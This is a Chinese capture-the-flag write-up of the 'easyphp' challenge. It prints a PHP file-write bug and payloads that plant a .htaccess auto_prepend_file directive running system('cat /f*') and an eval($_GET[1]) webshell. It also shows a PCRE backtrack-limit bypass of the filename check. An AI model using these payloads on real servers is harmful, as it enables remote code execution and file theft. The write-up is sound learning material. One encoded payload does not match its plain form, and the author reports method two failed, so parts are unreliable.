[羊城杯2020]easyphp
思路
首页给出源码
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
可以新建文件,控制文件名和内容,测试过.php发现不能按照php解析,应该是有限制只有index.php能够解析php
这里没有思路,看WP了
参考文献:[羊城杯 2020]easyphp_2020羊城杯wp easyphp-CSDN博客
解题
有两个方法,都是在.htaccess上做文章
一是在.htaccess中设置php的auto_prepend_file来实现php代码的包含
二是控制preg_match来控制正则匹配的递归次数,绕过文件名检测,用php协议来实现写入一句话
方法一:auto_prepend_file
但是对于content的内容,有限制,不能够包括:
on
html
type
flag
upload
file
这里可以使用换行绕过,.htaccess类似python,在行末加上\就可以在下一行续写,视为同一行
在关键词中间添加换行符即可,注意最后要加一个\来使\nHello, world失效
filename = .htaccess
content = php_value auto_prepend_fil\
e .htaccess
#<?php system('ls -l /');?>\
// 转码后:
content = php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system%28%27cat%20/fla%3F%27%29%3B%3F%3E%5C
看到在根目录下有flag文件,读取即可
filename = .htaccess
content = php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /f*');?>\
// 转码后:
content = php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system%28%27cat%20/fla%3F%27%29%3B%3F%3E%5C

方法二:正则递归次数
用pcre.backtrack_limit和pcre.jit两个配置项来控制
filename = .htaccess
content = php_value pcre.backtrack_limit 0
php_value pcre.jit 0
#\
// 转码后:
content = php_value%20pcre.backtrack_limit%200%0Aphp_value%20pcre.jit%200%0A%23%5C
这样传一遍后,文件名就可以绕过了
接着用php协议向.htaccess写入马
filename = php://filter/write=convert.base64-decode/resource=.htaccess
content = php_value pcre.backtrack_limit 0
php_value pcre.jit 0
php_value auto_append_file .htaccess
#<?php eval($_GET[1]);?>\
1 = phpinfo();
// 转码后:
content = cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3BocCBldmFsKCRfR0VUWzFdKTs/Plw
不知道为什么,反复实验不得成功
注意
注意.htaccess文件的配置和绕过方法